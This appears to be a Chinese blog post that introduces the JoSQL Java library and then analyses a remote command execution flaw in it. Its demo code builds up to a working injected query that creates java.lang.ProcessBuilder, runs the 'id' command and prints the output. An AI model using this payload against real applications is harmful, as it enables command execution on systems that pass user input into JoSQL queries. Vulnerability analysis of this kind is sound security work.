JoSQL全称SQL for Java Objects,提供了应用SQL语句的Java对象的集合的能力开发，JoSQL提供了搜索，排序，group等对Java对象的集合进行类似SQL的查询应该应用的功能。

例如，查找所有在2004年内修改过的html文件：

SELECT \*

FROM java.io.File

WHERE name $LIKE "%.html"

AND toDate (lastModified) BETWEEN toDate ('01-12-2004')

AND toDate ('31-12-2004')

java中使用JoSQL：

// 获取 java.io.File 列表.

List myObjs = getMyObjects ();

// 创建查询对象.

Query q = new Query ();

// Parse the SQL you are going to use, it is assumed here that

// "myObjs" contains instances of "java.io.File".

q.parse ("SELECT name,length " +

"FROM java.io.File " +

"WHERE fileExtension (name) = :fileExt " +

"ORDER BY length DESC, name " +

"EXECUTE ON RESULTS avg (:\_allobjs, length) avgLength");

// 绑定参数类似于预编译模式设置参数

q.setVariable ("fileExt", "java");

// 执行查询.

QueryResults qr = q.execute (myObjs);

// Get the average length, this is a save value, the result

// of executing the call "avg (:\_allobjs, length)", it is saved against

// key: "avgLength".

Map saveValues = qr.getSaveValues ();

Number avg = (Number) saveValues.get ("avgLength");

// 循环读取结果

List res = qr.getResults ();

for (int i = 0; i < res.size (); i++)

{

// This time there is a List for each row, index 0 holds the name of

// the file that matched, index 1 holds the length.

List r = (List) res.get (i);

System.out.println ("NAME: " + r.get (0));

System.out.println ("LENGTH: " + r.get (1) + ", AVG: " + avg);

}

具体其他详细操作可参考：http://josql.sourceforge.net

下面分析下远程代码造成的原因  
1.首先写一个demo查询从User列表中查询：

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82 | package josql;    import java.util.ArrayList;  import java.util.List;    import org.josql.Query;  import org.josql.QueryResults;    public class Demo {      /\*\*       \* user对象       \*       \* @author nike       \*       \*/      class User {          private String username;          private String password;            public String getUsername() {              return username;          }            public void setUsername(String username) {              this.username = username;          }            public String getPassword() {              return password;          }            public void setPassword(String password) {              this.password = password;          }            public void help() {              System.out.println("help method:"+username + "|" + password);          }      }        /\*\*       \* 获取user列表用来作为查询集       \*       \* @return       \*/      public List<User> getObjs() {          List<User> users = new ArrayList<User>();          User a = new User();          a.setUsername("nike");          a.setPassword("cb39554898fc98f9329d37242045e728");            User b = new User();          b.setUsername("smith");          b.setPassword("12345678");            users.add(a);          users.add(b);          return users;      }        public void query() {          List<User> myObjs = getObjs();          Query q = new Query();          try {              q.parse("SELECT \* from josql.Demo$User");              QueryResults qr = q.execute(myObjs);              @SuppressWarnings("unchecked")              List<User> res = qr.getResults();              for (int i = 0; i < res.size(); i++) {                  User user = (User)res.get(i);                  System.out.println("username:"+user.username+"|password:"+user.password);              }          } catch (Exception e) {              e.printStackTrace();          }      }        public static void main(String[] args) {          Demo demo = new Demo();          demo.query();      }  } |

上面代码运行结果是:  
username:nike|password:cb39554898fc98f9329d37242045e728  
username:smith|password:12345678

现在将sql语句换成：

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81 | package josql;    import java.util.ArrayList;  import java.util.List;    import org.josql.Query;  import org.josql.QueryResults;    public class Demo {      /\*\*       \* user对象       \*       \* @author nike       \*       \*/      class User {          private String username;          private String password;            public String getUsername() {              return username;          }            public void setUsername(String username) {              this.username = username;          }            public String getPassword() {              return password;          }            public void setPassword(String password) {              this.password = password;          }            public void help() {              System.out.println("help method:"+username + "|" + password);          }      }        /\*\*       \* 获取user列表用来作为查询集       \*       \* @return       \*/      public List<User> getObjs() {          List<User> users = new ArrayList<User>();          User a = new User();          a.setUsername("nike");          a.setPassword("cb39554898fc98f9329d37242045e728");            User b = new User();          b.setUsername("smith");          b.setPassword("12345678");            users.add(a);          users.add(b);          return users;      }        public void query() {          List<User> myObjs = getObjs();          Query q = new Query();          try {              q.parse("SELECT help from josql.Demo$User");              QueryResults qr = q.execute(myObjs);              @SuppressWarnings("unchecked")              List<User> res = qr.getResults();              for (int i = 0; i < res.size(); i++) {                  System.out.println(res.get(i));              }          } catch (Exception e) {              e.printStackTrace();          }      }        public static void main(String[] args) {          Demo demo = new Demo();          demo.query();      }  } |

则运行结果:  
help method:nike|cb39554898fc98f9329d37242045e728  
help method:smith|12345678  
[null]  
[null]  
从上面结果就可以看出help方法被调用了,从而可以得知joSQL可以调用无参函数(关键)。

2.joSQL存在一个特性，即可以通过new来构造一个新的对象比如：

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81 | package josql;    import java.util.ArrayList;  import java.util.List;    import org.josql.Query;  import org.josql.QueryResults;    public class Demo {      /\*\*       \* user对象       \*       \* @author nike       \*       \*/      class User {          private String username;          private String password;            public String getUsername() {              return username;          }            public void setUsername(String username) {              this.username = username;          }            public String getPassword() {              return password;          }            public void setPassword(String password) {              this.password = password;          }            public void help() {              System.out.println("help method:"+username + "|" + password);          }      }        /\*\*       \* 获取user列表用来作为查询集       \*       \* @return       \*/      public List<User> getObjs() {          List<User> users = new ArrayList<User>();          User a = new User();          a.setUsername("nike");          a.setPassword("cb39554898fc98f9329d37242045e728");            User b = new User();          b.setUsername("smith");          b.setPassword("12345678");            users.add(a);          users.add(b);          return users;      }        public void query() {          List<User> myObjs = getObjs();          Query q = new Query();          try {              q.parse("SELECT new josql.Demo() from josql.Demo$User");              QueryResults qr = q.execute(myObjs);              @SuppressWarnings("unchecked")              List<User> res = qr.getResults();              for (int i = 0; i < res.size(); i++) {                  System.out.println(res.get(i));              }          } catch (Exception e) {              e.printStackTrace();          }      }        public static void main(String[] args) {          Demo demo = new Demo();          demo.query();      }  } |

执行结果：  
josql.Demo@447ffd8e  
josql.Demo@2edf98c4

3.joSQL另外一个特性就是可以通过EXECUTE ON支持函数式编程。其执行结果可以通过变量作为其他查询参数来调用  
语法：EXECUTE ON ALL | RESULTS | GROUP\_BY\_RESULTS Expression [ , Expression ]\* [ [ AS ] Alias ]  
例子：

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81 | package josql;    import java.util.ArrayList;  import java.util.List;    import org.josql.Query;  import org.josql.QueryResults;    public class Demo {      /\*\*       \* user对象       \*       \* @author nike       \*       \*/      class User {          private String username;          private String password;            public String getUsername() {              return username;          }            public void setUsername(String username) {              this.username = username;          }            public String getPassword() {              return password;          }            public void setPassword(String password) {              this.password = password;          }            public void help() {              System.out.println("help method:"+username + "|" + password);          }      }        /\*\*       \* 获取user列表用来作为查询集       \*       \* @return       \*/      public List<User> getObjs() {          List<User> users = new ArrayList<User>();          User a = new User();          a.setUsername("nike");          a.setPassword("cb39554898fc98f9329d37242045e728");            User b = new User();          b.setUsername("smith");          b.setPassword("12345678");            users.add(a);          users.add(b);          return users;      }        public void query() {          List<User> myObjs = getObjs();          Query q = new Query();          try {              q.parse("SELECT username from josql.Demo$User group by @a EXECUTE ON ALL new josql.Demo() AS a");              QueryResults qr = q.execute(myObjs);              @SuppressWarnings("unchecked")              List<User> res = qr.getResults();              for (int i = 0; i < res.size(); i++) {                  System.out.println(res.get(i));              }          } catch (Exception e) {              e.printStackTrace();          }      }        public static void main(String[] args) {          Demo demo = new Demo();          demo.query();      }  } |

执行结果:  
[josql.Demo@4094de98]  
从结果中可以看到Demo成功被创建。

结合第1,2,3点可以执行无参函数，则我们可以调用ProcessBuilder的start可以执行系统命令。

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82 | package josql;    import java.util.ArrayList;  import java.util.List;    import org.josql.Query;  import org.josql.QueryResults;    public class Demo {      /\*\*       \* user对象       \*       \* @author nike       \*       \*/      class User {          private String username;          private String password;            public String getUsername() {              return username;          }            public void setUsername(String username) {              this.username = username;          }            public String getPassword() {              return password;          }            public void setPassword(String password) {              this.password = password;          }            public void help() {              System.out.println("help method:"+username + "|" + password);          }      }        /\*\*       \* 获取user列表用来作为查询集       \*       \* @return       \*/      public List<User> getObjs() {          List<User> users = new ArrayList<User>();          User a = new User();          a.setUsername("nike");          a.setPassword("cb39554898fc98f9329d37242045e728");            User b = new User();          b.setUsername("smith");          b.setPassword("12345678");            users.add(a);          users.add(b);          return users;      }        public void query() {          List<User> myObjs = getObjs();          Query q = new Query();          try {              q.parse("SELECT username from josql.Demo$User where 1=1  group by @c.readLine,@c.readLine EXECUTE ON ALL new java.lang.ProcessBuilder(['id']) AS a, "                      + "new java.io.InputStreamReader(@a.start.getInputStream) as b, new java.io.BufferedReader(@b) as c");              QueryResults qr = q.execute(myObjs);              @SuppressWarnings("unchecked")              List<User> res = qr.getResults();              for (int i = 0; i < res.size(); i++) {                  System.out.println(res.get(i));              }          } catch (Exception e) {              e.printStackTrace();          }      }        public static void main(String[] args) {          Demo demo = new Demo();          demo.query();      }  } |

执行结果:  
[uid=501(nike) gid=20(staff) groups=20(staff),501(access\_bpf),401(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(\_appserverusr),80(admin),81(\_appserveradm),98(\_lpadmin),33(\_appstore),100(\_lpoperator),204(\_developer),398(com.apple.access\_screensharing),399(com.apple.access\_ssh), null]  
[null, null]  
则系统命令成功被执行。

利用场景:当某处查询利用了joSQL并且存在注入，则通过这个漏洞直接调用系统命令。